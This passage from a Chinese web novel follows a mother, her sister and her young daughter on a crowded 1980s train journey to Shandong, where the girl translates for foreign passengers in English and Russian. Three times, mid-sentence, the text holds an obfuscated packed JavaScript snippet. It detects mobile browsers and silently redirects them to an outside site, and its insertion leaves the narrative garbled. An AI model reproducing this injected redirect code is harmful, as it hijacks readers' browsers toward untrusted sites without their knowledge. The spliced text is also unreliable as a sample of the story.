孙梅烙了一袋子烙饼做干粮，徐明惠还特地买了馒头炸了一饭盒馒头片，没有水果，就带几根黄瓜。马丽丽还摘了一些刺泡，虽然老妈说这玩意带不了，一挤就烂，但马丽丽非用搪瓷缸子装了一大杯，烂也不怕，皮筋勒住盖子，不漏。 钱都小心翼翼的贴肉放在内裤上缝的小包里，徐明惠还带了一大块塑料布，不好叠，就卷着塞在包里，吃的喝的都装在网兜里，罐头放在塑料布卷在包里。但如果你以为这就是全部行李那就错了，真正的行李是姥姥孙梅准备的一个大布包，里面全是给老家人带的东西，她用一大块布把东西包起来，用线把布包缝住，两头也缝起来，徐明惠就可以背起来了。 “我们干嘛要带这些东西啊？”里头都是些啥啊，家里不要的旧衣服鞋子，孙梅买的一捆橡胶鞋底，一小包之前卖剩下的小玩意儿，甚至还有一双非常大的套鞋，在徐明红眼里这些东西真是丢脸至极，但徐明惠倒不觉得什么，还挺习惯。 “老家人多，这衣服什么的又没坏，补丁也不多，还好着呢，不费什么力气，下了火车就到了。” “行，那你拿着吧。”徐明红也是没法，反正不是自己丢脸就行。 三人便出发了。 这路还很不好走，她们得先坐电厂的车到章市，然后从章市坐汽车到省城八一市，这里才有火车到鲁省淄市，到那边就有公交车能直接到了。 到八一市一路就花了一天一夜，还好没有人晕车。 扛着行李到火车站已经是晚上了，候车室坐满了人，还有很多人直接在外面打地铺。 徐明惠买好火车票，是早上五点的车，她看了看墙上的钟，现在快十点了，她问徐明红和马丽丽：“怎么样，你俩可以不？” “啊？”两小的一脸懵逼。 “走，先去厕所。”不行也得行。 上个厕所还得一分钱，不过旁边就有免费的热水。 三人轮流上完臭气熏天的厕所，徐明惠瞅准机会占了个犄角旮旯的地方，铺上塑料布，这就打算凑合到五点了。 徐明红觉得还行，毕竟在火车站打地铺的多的是，并不稀奇，就是人太多，老是担心有小偷啥的，害她一晚上担心受怕的。 至于马丽丽，躺下就呼呼大睡了。 第二天一大早，徐明惠叫醒妹妹和女儿，三人收拾了一番，扛着行李包上了火车。 大热天的，没有空调的绿皮车里挤满了人，味道可想而知，即使窗户全开也没用，反倒是在门口附近的人还能趁着停车开门呼吸两口新鲜空气。 天才微微亮，温度还算适宜，大多数人都还在睡觉，除了在座位上睡觉的，过道上、行李架上、座椅底下，都睡满了人，实在没有位置的，站着趴在座位靠背上也勉强能闭眼了。 甚至还有人另辟蹊径，坐在座位靠背顶上睡，不过这操作一般人很难模仿，首先得瘦，其次睡相还得好…… 上了车，拦住路的人嘟嘟囔囔的让了路，马丽丽紧张的拉着妈妈的衣服踩着缝隙向前，徐明红抱着两个旅行包紧随其后。 徐明惠一马当先，赶走了坐在自己位置上的人，让妹妹坐下，小朋友是没有座位的，就只能挤一挤这样，行李也被她强行挤了一个位置塞进了行李架。 总算能休息了，徐明惠和徐明红都松了口气，她俩看着行李几乎一晚上都没有合眼，这会儿也能打个盹了。 马丽丽昨晚睡的还算行，小孩子的优势就是身矮体软，一点点空隙就能容下，什么姿势睡觉都不会肌肉酸痛，但是刚才赶车太过紧张，一松弛下来倒让她又有些想睡了。 火车停下的时候不流通的空气让人喘不上气，只有等火车开动时才能感觉舒服点，等三人都休息好了，天也大亮了。 马丽丽睁开眼，妈妈和小姨都没有醒，她翻出网兜里的大搪瓷杯打开，里面是洗干净的刺泡果，也不用倒出来，她举着杯子慢慢挪到车厢头，接了半杯开水，然后把浮起来的小果子都吃了，又一路喊着：“小心开水。”慢慢挪了回来。 徐明红醒来时马丽丽把端了半天的杯子给她：“小姨，喝水。”徐明红想也没想就接过来轻轻啜了一口泡着刺果的水，心中还想，水不烫还有点甜呢。她想把杯水还给马丽丽，马丽丽说：“你端着吧，我刚才一直端着呢，累死了。”小桌上还趴着人呢，徐明红只好端着杯子，还怨马丽丽：“你怎么这么早接水，这咋放啊。” “那我不先接水，这开水你现在喝啥？”马丽丽站到座位上，正好能坐在靠背上，就是不大安全的样子，徐明惠清醒后立马就把她抓了下来。 三人坐在靠过道的地方，出入方便，就是到站时和火车上的售卖小车过来时非常麻烦，人太多，总得不时的让路。 快中午时，火车终于路过一个大站，许多人就下车了，车厢里空气顿时清新不少，温度都下降了许多。 “唉，真是受不了。”徐明红又擦了擦汗，她不敢多喝水，上厕所也不方便，还臭，刚才人挤的时候，三人的座位硬是挤了四五个人，站都站不起来。坐了几个小时，她的背早就汗湿了。 “出门就是这样啦。”徐明惠也擦了擦汗，拿了根黄瓜啃了一口。 “妈，你们之前去粤市也这么挤吗？” 徐明红抢答：“那怎么可能，爸和孙工倒是都坐硬卧，我们都是硬座。” 徐明惠：“有什么关系，白天还可以去卧铺车那坐坐，几个小时就到了。” “哦。”马丽丽有点庆幸那会儿没跟着一起去了。 “你们看着东西，我去走走。”吃完最后一根黄瓜，徐明惠决定遛达一会儿，坐了这么久，腿都麻了。 “那你可快点，我一个人看不了行李。”徐明红一个人还有点怂。 马丽丽：我不是人吗？ 见徐明红这小忐忑样，马丽丽暗想，咱俩身上又没钱，行李也不值钱，小偷都不来偷咱俩，慌个啥劲？除非现在就靠站有个人贩子能突然抱着我跳下车去，但我也不是死的啊。 正天马行空呢，对面靠窗坐着的大嫂子见这一个半拉大姑娘带着一小姑娘坐着无聊，就用带口音的普通话搭起话来。 大嫂子：“你们俩这是去哪啊？” 徐明红：“我们回老家去。” 大嫂子：“啊？那你们老家是哪啊？” 徐明红：“鲁省淄市。” 见自家小姨如此实诚，马丽丽赶紧插话：“阿姨，你是要去哪啊？” “哎呀，我要去亳州，你听过没有？” “啊，是不是那个曹操他老家？” “你还知道曹操，小朋友厉害咧。” 这天儿不就聊起来了？有来有回的马丽丽就知道大嫂子是亳州人，在粤省打工，这回回家一是办事，二是想把孩子接去过暑假长长见识。 “哇，阿姨，你好厉害啊，新时代打工人哎。”马丽丽惊讶，原来这么早就有人下粤省打工了啊？ 不过想想也是，八十年代都快过去了，马上都九十年代了呢，那时候打工的浪潮可是巨浪。 “最近几年去粤省的人越来越多，那边应该很乱吧？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064154|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”坐在马丽丽徐明红旁边的男人问，他看样子像是什么单位去出差的，衣着整齐，还戴着眼镜。 “嗨，可不是，不过也要看地方。像我是给人做保姆，附近就挺安全的。要说也是我主家好，愿意我接儿子去。不过要是在那工厂做工的可就不敢了，工厂边都乱的很，不安全。”大嫂子主家条件好像真的挺不错的。 听到大嫂子说自己是去做保姆的，眼镜男顿时就没了聊天兴致。 大嫂子是个挺想的开的，感觉眼镜男似乎瞧不上她，她也不理会他。 徐明红倒不觉得做保姆有啥不对，她还挺好奇啥家庭能请得起一个保姆啊？ 大嫂子也知道了马丽丽她们是从章省上的车，毕竟那会儿大家都睡着了。 “哎呀那你们上车的时候人挺多，我在粤省上车人多的，应该过了湘省鄂省人就少了，等你们往南回的时候人也多。”大嫂子说，她这话还挺有理的。 “哎你说说粤省的事呗，那边真这么好赚钱？”旁边一个站着的年青人对大嫂子说，不知道是有想法还是纯好奇。 大嫂子显然是个爱聊天的人，有人捧场，她立刻就来了兴致，说的都是南边的新鲜事，附近的人都听的一愣一愣的。 过了一个多小时徐明惠才遛达回来，她一回来就坐下感叹：“哎呀，累死我了。” 累死了还遛达这么久，她把前后都走了个遍，“后面有两节还挺空，应该是人还没上车，前边走两节就是餐车了，哎呦那头一节人才多，全是等卧铺票的。” 在电脑联网卖票系统出现之前，火车站的票都是“计划经济”。 比如这趟车走完全程一共卖一千张车票，票都是提前分好的，可能起始站分到有八百张票，沿途站分到两百张。别担心卖不完，最后上车人数都是超标。 卧铺票更是紧俏货，一千张可能只有一百张，能买到就不错了，都得有关系。 不能及时更新信息，火车上中途就会出现空卧铺位，这时候列车长就有权把空卧铺再卖给火车上的人，甚至补票的车厢还有一个专门的补票台，为了等卧铺，会有很多人在补票台附近排队。 餐车在八号车厢，补票车厢是七号，补票台周围不少人就坐在地板上跟着火车摇摆……其实也没徐明惠说的这么多人，毕竟舍得花钱买卧铺的人并没有那么多。 徐明惠回来了，就轮到徐明红和马丽丽去遛达了。她们先去手拉手去上了厕所，不是想一起闻味，主要是厕所着实让人有点害怕。 铁地板中间一个大坑，就感觉马丽丽这身板不小心能下去那种，往坑下望就是飞速后退的铁轨。每次到站列车员都要把厕所锁上，一是怕乘客把屎尿拉人家站台，更重要的是怕有人能从厕所钻上车来。 每一个离谱的规定后面往往都有一个更离谱的事实。 马丽丽和徐明红向着后面车厢一路过去，车上就是人间百态。 有的车厢人还真挺少，有的又挺多，却也没人想换个地方。 乘客坐着有打牌打麻将的，有喝酒侃大山的，几个小孩闹来闹去的，吃东西的，还有唱歌唱戏的拉胡琴的，甚至还有直接在火车上做生意卖东西的，总之热闹非常，难怪徐明惠逛了这么久。 有一家子，两个大人三个小孩没坐票更没卧铺票，就直接在车厢头门口那一小块地方铺几张报纸躺下，自有一方小空间，列车员也是不管的，就是要开门的时候挺不方便。 还有推着小车来回的列车员，“啤酒香烟烤鱼片儿，白酒烧鸡饼干，有热水让一让，让一让啊。” 33.第三十三章 徐明红和马丽丽兜比脸干净，两人也不怵，一会儿听这边人聊国家大事，一会儿听那边人吹想当年，也不管听不听得懂，连蒙带猜呗。 重要的是边听还能边从人家桌子上抓一把瓜子摸几个花生，旁边听八卦的都在吃，也没人在乎她俩凑热闹的。 混水摸了几次鱼，两人走到头又转身向另一边走。路过刚才的车厢，八卦还在继续，花生瓜子早没了，两人往回走到徐明惠那儿，喝了点水，准备去瞧瞧餐车。 “看了就回来，都该吃午饭了。”徐明惠提醒两人。 “知道啦。” 徐明红对餐车没啥感觉，就是听说还有个专门吃饭的车厢挺好奇，而且卧铺在餐车另一头，如果可以她也想去看看。 一进餐车，徐明红傻了眼，原来餐车里音量骤降，从十分喧闹的地方突然进入安静的地方，她感觉心里毛毛的。 餐车里一排排白色的桌椅，又干净又高档，感觉就不是普通人能消费的地方，人也不多，大家说话声都不大，跟在外头下馆子似的。 坐在这的人穿着都很光鲜亮丽，徐明红顿时感觉十分局促，难怪其他人宁愿在前面车厢坐地板也不来餐车。 整个车厢只有一个地方声音挺响，话说的还挺……徐明红定睛看去，竟然是一个黄毛外国人在另一头对着列车员和厨师连说带比划，可是他面前的俩人全都一脸懵逼的模样。 其他人大多在偷偷看他们，没有一个人大声说话，最多就在偷偷议论。 直到外国人划着手开始“咯咯咯”的时候，马丽丽终于忍不住哈哈大笑起来，她段子看过不少，但真人段子见的不多。她这一笑不要紧，全车厢的人都看了过来，徐明红拉着她动都不敢动。 马丽丽并不怕，她反拉着徐明红走过去对着厨师说：“他说他要的菜不能有鸡蛋啦。” “啊？” “啊！” 列车员和厨师怎么这么不信呢？ “小朋友，别捣乱，姑娘，你是她姐不？怎么让小孩在外国友人面前乱说呢？” 徐明红给气的，马丽丽只觉得无语，哎，年纪小真吃亏，要不怎么说“嘴上没毛办事不牢”。 刚才这位“外国友人”说的英语，马丽丽也直接用英语问他：“你是鸡蛋过敏吗？还有什么过敏不能吃的不？我可以帮你告诉他们。” 她这一说，不光列车员和厨师听出来了，全车厢竖着耳朵的人都听出来了，好家伙，这小孩真会！ “我的天哪，终于有一个能说话的人了，孩子，你真是我的救星。”外国友人道，“呃，可以帮我看看菜单吗？我可真，完全看不明白，又没办法交流。” “当然。” 两人交流了一会儿，马丽丽终于有了结论，她拿着菜单对厨师说：“他说他要红烧肉，宫爆鸡丁和凉拌黄瓜，不要太辣，还有他鸡蛋、花生和鱼过敏，菜里不能有这些。” 厨师一头雾水：“什么？过敏是什么？” 马丽丽：“过敏就是吃了就生病，轻一点的起疹子，严重的可能会肿起来，如果是喉咙肿起来可能会窒息喘不上气。所以油啊调料啊锅里沾底啊，最好都不要有。” 列车员和厨师都吓了一跳，“小孩你可别吓人。” “反正不能吃，不吃就没事。” 也只能小心着了，总不能不做吧？厨师小声骂骂咧咧：“这老外事儿咋这么多，麻烦。” 列车员算好了钱，“小朋友，麻烦告诉他一共十块八毛二，饭不够可以免费加。” 马丽丽点点头，又扭头转告外国友人。没想到外国友人付了钱后说：“小女孩，谢谢你，你很厉害，我能邀请你和你的姐姐一起吃饭吗？我的父亲也在那。”他指了指一个位置，马丽丽扭头一看，原来那还坐着一个老头，还很时髦带个□□镜和帽子，就是他前后左右那是一个人都没有。 马丽丽十动然拒，开玩笑道，“还是算了吧，我不可能只和我姨妈坐火车，哦，这不是我姐是我姨，所以我妈在别的车厢等我俩，我们得回去。”然后她笑了一个非常标准的“礼貌用笑”，说，“不过如果你能把请我们吃的饭换成两个盒饭，我会非常开心并感谢你的。” 外国友人也笑了，他掏出钱包：“好吧，为了你的勇气并感谢你的翻译，呃，你可以让他多准备一份盒饭吗？呆会儿让我带走。” “当然，盒饭也有选择哦，你要哪种？” 听完转达的列车员都被马丽丽的操作惊呆了，怎么说呢？就感觉有点儿不对劲，但又说不出来哪不对劲。 “好吧，可爱的小女孩儿，下次见面你可以叫我杰伦，可以问问你的名字吗。啊，你在哪个车厢？我感觉也许很快又会需要你的帮助了，比如下次吃饭的时候。” “叔叔，有笔和纸吗？”马丽丽问列车员。 列车员看了看她，从本子上撕了条边，“给。” “谢谢。”马丽丽在纸上写下自己的名字和车厢座位号递给杰伦，“这是我的名字座位，如果需要可以让列车员带你来找我。我还写了两道菜名，如果你愿意，可以晚上试试。” “呃，好的，哇哦太棒了，非常感谢。” “不用，我也要谢谢你。”马丽丽指了指饭盒，拉着徐明红就走。 马丽丽心道，这老米人就是熊，半点中文不会就敢来种花家玩，还好口音不算重，不然这两盒饭也难赚。 徐明红一出车厢就激动的不得了，“啊！！！马丽丽，你可真是太，太，太厉害了！你刚才跟一老外说话，他还请你吃盒饭！” “No，no，no。”马丽丽夸张的挥动手指，“不是他请我，这是报酬知道吗，是工资。我就说学习有用吧，之前叫你跟你读英语你还不愿意。” “回去就读！”徐明红这会儿跟打了十斤鸡血似的。 徐明惠见两人半天回来竟然还带了俩盒饭回来更是诧异，“你们哪来的钱买的饭？” 鸡血还没下头的徐明红立刻重新给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068725|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讲了一遍刚才发生的事，徐明惠听的一惊一乍的，坐在附近的人更是全把耳朵伸了过来，不停的“哇，哇，哇”，过道对面的人甚至还站起来看看这个能跟外国人说话的小女孩长啥样，回家后好吹嘘吹嘘。 马丽丽小朋友尴尬的五体投地，感觉脚趾能把火车抠穿，她迅速扒拉了几口饭，把饭盒里的鸡腿啃完……哎嘿，火车上的饭真好吃……然后她跳到座位上脸朝里躺在妈妈身后，谁也休想把她拉起来表演几句。 徐明惠就没有马丽丽这种烦恼了，她喜笑颜开的一边接受大家的吹捧一边谦虚回应：“没有没有，还好还好，都是她自己喜欢”，在旁人问的时候还要说一说她是怎么教育出这么优秀的小孩的……主打的就是自己上，不用麻烦小朋友。 啊，有一个社牛妈妈真好！ 也不知过了多久，大家的谈兴终于消退，这个话题才算是过去了，马丽丽从座位上爬起来小心探头，飞奔去了一趟厕所。小姨还嘲笑她：“人家那是羡慕你，表扬你，你怕个什么劲啊？” 马丽丽啧了一声，“那下次有机会你来嘛？” “啊，不了不了。”想到刚才的场景，徐明红心有戚戚，看别人觉得不争气，自己来也觉得不行，讲的就是一个叶公好龙。 又到了一个车站，靠窗坐的男人下车了，马丽丽和徐明红转移到了窗边，她俩扒在窗户上看着外面。 火车外有许多小推车推着本地特产在向旅客兜售，进了冀省，方言渐渐有些听不懂了起来，特产也变得开始有北方特色。 用网兜兜着的梨、枣子和核桃，用小塑料袋装的卤肉卤鸡，用报纸包的烧饼，小瓶装的面酱，既能让大家在干粮中换换口味，又能让有需要的人买点当地特地带回家。 当然还有哪里都有卖的茶叶蛋、烧鸡和本地产的烟酒，和……卖开水的。这倒是十分有时代特色，其实是因为火车上的热水往往都不是烧开的，有人要泡个茶泡个粉都冲不开。这不商机就来了吗？一分钱一杯，不管你多大的杯子或是饭盒都一样，反正灌满就是。好在时人出门都爱带一个大搪瓷杯，只带了小杯子的只好自认吃亏了。 马丽丽和徐明红都没钱，但这不妨碍她俩对着小推车们指指点点，或是闻着香味猜测人家吃的东西啥味。 火车似乎在这个车站停的时间有点长了，原本按照列车前贴的时间表，这个站应该只停三分钟，但现在肯定不止三分钟了。 “哎，你看那里。”徐明红突然叫起来，“好像出了什么事儿。” “哪儿呢？哪儿呢？”一个新上车的小伙子站起来向着窗外伸出了头，不光他们，其他火车窗口也是伸出了各式各样的脑袋。 从马丽丽他们这个位置看过去，只能远远的看见隔了几节车厢的一个门口，一群火车工作人员从车站跑步过来。大概三四个列车员抬着一个担架从火车上下来，之后换了几个人抬担架，几个人护在旁边，几个人在前面开道，一窝蜂的向着车站最近的出口小跑走了。 34.第三十四章 看完全程的大家伙心满意足的把头缩了回来，对面的小伙犀利点评：“肯定是哪个倒霉蛋一个人坐火车突发疾病，这火车停这么久就是因为他，等着吧，一会儿就得开了。” 有理有据，大家都十分信服。果然过了没几分钟，火车就如小伙子说的那样吭哧吭哧的动了起来。 北方土地不愧是大平原，就连运煤的火车都多了起来，徐明红感觉自己脸上蒙了一层灰，她看了一眼马丽丽，啊，果然是。 “把手绢给我。”徐明红向着马丽丽伸手，把扣在她裙子前面的手绢解下来，倒了点水，给自己和丽丽擦了擦手和脸。 “你要吗？”徐明红问姐姐。 徐明惠接过手绢，找了个干净的角落擦了擦脸和手。 “我去洗洗。”徐明红拿着脏手绢挤到车厢前头去洗手绢，回来的时候她看见姐姐在车厢接连处跟一个很高的列车员说话。 “小红，你来的正好，列车长找丽丽有点事，我带她去一趟，你坐座位上看着东西哈。”徐明惠对妹妹说。 哦！徐明红立马瞪大了眼睛，想到一个可能，“我也想去。” “你去能干嘛，不得有人看着行李啊？”徐明惠自然不同意，她带着马丽丽跟着列车长向餐车方向走过去。 “这就是马丽丽小朋友吗？我抱着你吧。”人高马大的列车长抱起马丽丽，马丽丽顿时感觉空气都清新了不少。 刚才没来得及仔细说，这会儿列车长向着徐明惠解释，也是能让马丽丽听到点儿，“有一位外宾，他是去鲁省考察投资的，本来是带了个翻译，可是先前那翻译突然肚子疼的不行，有个乘客是医生，说可能是急性阑尾炎，刚才那站就抬下去了。现在那位外宾说的话咱也没人听得懂，这不，正好听说车上有个会外语的小朋友，就想请你们试试。你们也别有负担哈，听不懂也没事，就是麻烦点儿，反正也就火车上这会儿，下了车应该就有别人来接，到时候肯定有翻译。主要是他一直在比划比划的，好像有事儿，所以得麻烦你们跑一趟。” 啊这，马丽丽想到上一站那群列车员抬下去的担架，这吃瓜吃到了自己身上？不对，我最多算个猹，马丽丽思维发散的想。 穿过餐车就是硬卧，这里人一下子就少了许多，温度都下降了不少，这年头能买上硬卧的人，不是单位出差的，就是跟铁道部门有合作，或者就是单纯的有钱人，总之肯定关系得硬才能买着卧铺。 坐火车都一样的无聊，这边打扑克、下棋、吹牛皮的人也不少，列车长抱着马丽丽一路向前，“让让，请让一下。” 马丽丽还跟人家讨价还价呢：“叔叔，我帮你的话能包饭吗？” “啊？包饭？” “就是盒饭，能付三个盒饭给我当工资吗？” “哈哈哈哈，”列车长显然听说了马丽丽中午干的事，一口答应，“行，到时候让他们挑个鸡腿大的。” “好耶！” 前面两节硬卧还算满员，第三节硬卧人少了不少，但有一个包厢附近聚集了两三个列车员，他们一看到列车长顿时好像见了救星似的。 “列车长，你可算回来了。”一个列车员挤了过来， “哎呀，就是这个小孩儿，小孩儿你赶紧来听听这个老外，不是，外宾都说啥咧，叽里咕噜的好像跟中午那个还不大一样。” “小李，说什么呢？”列车长严肃的看了列车员一眼。 马丽丽想了一下，这不就是中午撕了一张纸给她的那位列车员吗？好巧啊。 并不巧，人家就是负责硬卧车厢的，也是这位李列车员向列车长建议找的马丽丽。 安德鲁·德莱恩觉得自己真的是，也太倒霉了吧，先是被上司派到从没到过的国家考察，虽然这个国家他一直很有兴趣，但是这里的语言实在是太难了，就算突击学两句也很难记得住。 更糟糕的是，临出发前同行的同事出了车祸，现在还在医院呆着。来不及换人，安德鲁·德莱恩抗议无效，只好一个人来到这个陌生的国家。 好在来之前公司就事先安排联系了一个当地的翻译兼导游。 从港城进入之后李翻译就一力安排好了所有行程，并与要去的当地政府联系好了，安德鲁只需要和翻译直接过去，一落地就有人会与他对接，所以虽然没有飞机需要坐太久的火车这件事让安德鲁有些不满，但他觉得问题不大。 直到可怜的翻译在火车突然肚子疼然后被抬下了火车，后面的事情似乎就超出了安德鲁的预想了。 本来在火车上这段时间安德鲁其实是并不需要太与其他人作语言上的交流这样，因为之前翻译非常体贴，见面就给了安德鲁一个小本子，上面有各种他可能用到的日常对话，包括问路、问价格、吃饭点菜、付钱、目的地等等。 这也是为了以防万一，毕竟只要有翻译在的话，这本子也是用不上的，可是谁能想到翻译还真的出事了！ 等车开了之后，安德鲁想起那个本子，却发现怎么也找不到了，所以……他要在哪站下车来着？ 马丽丽保持着瞪大眼睛的姿势被放在了外宾面前，然后一直仰头仰头。 哇！好大只的帅哥。 鲁省就出大汉，列车长就是一个高个子，这位比列车长还高小半个头，他只要扭头就能看见硬铺第三层。个子高身材也不错，就是坐在那里，显得卧铺过道过于狭窄了。 灰色带条纹polo衫、黑色西裤、黑色皮鞋，合身的就像是定做的一样，身形笔直，身上还喷了香水，跟中午那对米国父子完全不一样 即使坐了这么久火车，他古铜色的头发依旧梳得整整齐齐，两只绿油油的眼睛跟会放光似的，微微眯眼，就很有霸总那味儿。 马丽丽不是很能辨别欧洲人的长相，反正对方是帅哥无疑，“法鲨”知道吧？有点那样的感觉。 安德鲁看着列车长抱来的小女孩十分疑惑，这……这就是他们找来的翻译？安德鲁有轻微的近视，他眯着眼低下头。 马丽丽：眯眼更像露总了！ 这小孩好小啊，看上去脏兮兮的。穿着一条略大的裙子，抬起来的脸上黑黑的，有煤灰。一头像男孩子一样的短发，脑袋后面的头发都翘起来了。而且还有点傻傻的，瞪着眼睛看着自己，一副没见过世面的样子，倒像是只可爱的小猴子。 “你……你就是他们找来的翻译？”安德鲁试探的问了一句。 完球，他说的话我听不懂！马丽丽立时想，等会儿，问题不大，先问问他会说英语不。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15077562|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 马丽丽：“你能说英语吗？” 呃……安德鲁知道小女孩在说英语，可是问题是他的母语是法语，英语不咋的啊，这可怎么办？ 安德鲁：“我是想问，呃，你，英语，会……算了。” 安德鲁尝试，安德鲁努力但不多，安德鲁放弃了，他的国家英语不是官方语言，不会说很正常，只是他没想到小孩翻译是个英语翻译。 马丽丽也没办法，她只好转身对列车长说：“叔叔，他说的不是英语，而且他英语好像也不大好的样子，我没办法跟他说话了啊。” “啊？这，这外国话咋还不一样的？”旁边的列车员惊呼。 这种问题还真是具有时代特色啊，马丽丽认真解释：“当然不一样了啊，就跟咱们的方言一样，很多地方的方言别地的人都听不懂，他们还不是一样。说起来欧洲那块跟咱们国家的面积差不多大呢。” 代入一下，确实有道理啊，周围的人露出恍然大悟的表情。 “不过现在怎么办啊？咱们也没人会他的话，都听不懂，他急着要找翻译，也不知道有啥事。”列车长头疼的说。 大伙都有些头疼了，这时徐明惠插话：“那不行的话，我就带小孩先回去了哈，也帮不上忙了不是。” “哎，行吧，这也没办法了，麻烦你们了，同志。”列车长也很无奈。 “唉，还想挣个鸡腿盒饭，看来是没机会了。”马丽丽摇头，“其实我还会说鹅语咧，不过看这帅哥……老外估计他也不会说。”马丽丽转头随口用鹅语说了一句：“你要是会说俄语也行啊。” “这个我会，你还会说俄语？”老外竟然真的用俄语回了句。 安德鲁有些激动，天啊，这小孩看着不咋的，但挺厉害的啊，还会说俄语！安德鲁的婶婶有东斯拉夫人血统，平时也会说俄语，安德鲁小时候每年都要去叔叔家过暑假，所以也跟婶婶学了俄语，光说话是没问题的。 这下两人可以交流了，而且两人说的口音还有点像，虽然因为孙振海的关系马丽丽的俄语中带着点大碴子味，但两人交流起来不需要磨合，都听得懂。（以下两人说话都是俄语） 安德鲁：【小姑娘，你可以叫我德莱恩先生，你叫什么？】 马丽丽：【你可以叫我马。】 安德鲁：【妈？马？麻？】 马丽丽：【其实我叫马丽丽，马是姓，丽丽是名字，你可以叫我名字，丽丽。】 安德鲁：【好的，丽丽。】他又忍不住好奇的问：【丽丽，你的俄语说的很好，是跟谁学的？】 马丽丽：【是邻居家的爷爷啦，他年轻的时候在莫斯科留过学的。】 安德鲁：【那可真是太巧了，我是跟我婶婶学的，她年轻的时候也住那里。】 马丽丽：这老外长的严肃，说话还挺接地气的咧。 互相简单了解了一下，安德鲁转向正题。 安德鲁：【请帮我问一下李先生情况怎么样了，他是我的翻译，生病被送下火车了。】 明白，马丽丽转头对列车长说：“他想问问李翻译官的情况。” 列车长：李……翻译官儿？ 马丽丽：等会儿，我为什么要说翻译官这个词？好奇怪啊。 35.第三十五章 列车长：“小朋友，你告诉他，李同志得了急性阑尾炎，不过请他放心，我们联络了火车站把他送往了当地最大的医院，他可以在那里做手术，会没事的。” 马丽丽：“哦，好的……叔叔，我不会说急性阑尾炎这个词儿。” 列车长：“……那你就告诉他，我们把他送到最大的医院去了，他会没事的。” 马丽丽：“这我会说。” 马丽丽转告了安德鲁，还把刚才路过的那个站叫啥名说了一下，安德鲁十分认真的拿自己的本子把地址记下来了。然后安德鲁又拿出自己的车票问马丽丽：【这个站是哪？我什么时候该下车？还有多久能到？】 马丽丽一看，这不是大明湖市吗？她指着车票又转问了列车长。 列车长看了看表：“我们已经晚点三个小时了，按照这个速度，到那里应该是半夜11点，但是如果还要让车就不一定了。”很多时候客车遇上了运煤车都是要让路的，而且要等多久也很难预料。 马丽丽有问题：“那到那里是半夜的话……他一个人下车怎么整？有人接车吗？他都不会讲种花家话，丢了咋办？妈，我们是到终点站不？（徐明惠：是哎，我们是去淄市的。）我也不能跟着他下车吧？” 啊这，列车长又头疼了，这真的是个好问题。不等列车长头疼呢，马丽丽又问了一下安德鲁这事儿。 安德鲁：【李说有人来接我们，而且我们之前联系过，我知道地址，没人接我我可以自己去。】 自己去的前提是有翻译带路啊，现在这情况你自己行吗？ 安德鲁觉得行。 安德鲁拿出了一张纸，【所以我需要你帮我把地址写成种花家的文字，然后我可以自己问路去。啊对了，你能帮我把一些需要用的话也写下来吗？】就跟李翻译之前做的那样，安德鲁觉得那确实是个好办法。 列车长觉得这个主意有点天真，不过他其实也没有更好的办法。 马丽丽：【行吧，不过你这纸上的东西我看不懂，你得先用俄文写一下。】 “呃……”见安德鲁的表情，马丽丽顿时感觉大事不妙，果然他说：【其实，我的俄语不大会写，只能说。】 马丽丽：“……” 马丽丽：“哈？！” 仗着别人听不懂，安德鲁很光棍的说：【我们#@#￥不是英语区也不是俄语区，平时也不说，不过好像现在学校也开始上英语课了。】 “#@#￥”马丽丽没有听懂是哪，她只能假装明白的叹了口气，道：【那就麻烦了，要不你用俄语念出来，我再用种花家文字写一下，你再用文字注明一下，啊，好麻烦。】 安德鲁在脑子里理顺了一下逻辑，发现好像只能如此了。 后面的事决定好了，列车长和其他列车员们都散了，只有徐明惠坐在旁边等着女儿，怕她无聊，列车长还特地让人送来几个苹果，徐明惠就拿着小刀慢慢的削着皮。 马丽丽从来没想过二道贩子翻译写起来比她想象的还要麻烦。 “咕嘟冒泡的水大街，15号，纺线二工厂的，的，liu？niu？xiu？先生？” 马丽丽想，这谁记的地址，干嘛不全部音译一下好歹还能读出来，还咕嘟冒泡的水，是泉水大街吗？她也没去过啊。这个纺线厂，到底是纺织厂还是棉纺厂还是织布厂？还有可能是服装厂…… 【请等会。】马丽丽扭头大叫一声“妈！”，把徐明惠吓了一跳。 “你个死孩子干嘛呢，突然叫一声的，吓我一跳。”徐明惠把一块苹果塞进马丽丽嘴里，“怎么了？” “你能帮我叫个列车员吗？问问他们有没有谁是大明湖市的，他说的地方我翻译不出来，得找人认一认。”马丽丽含含糊糊的说。 “我去？好吧。”徐明惠左看右看，不太放心自己女儿一个人跟一个老外呆了一起，“你们也一起去吧，我怕也讲不明白，再说，这边上又没人，小朋友不可以和陌生人呆在一起，知道不。” 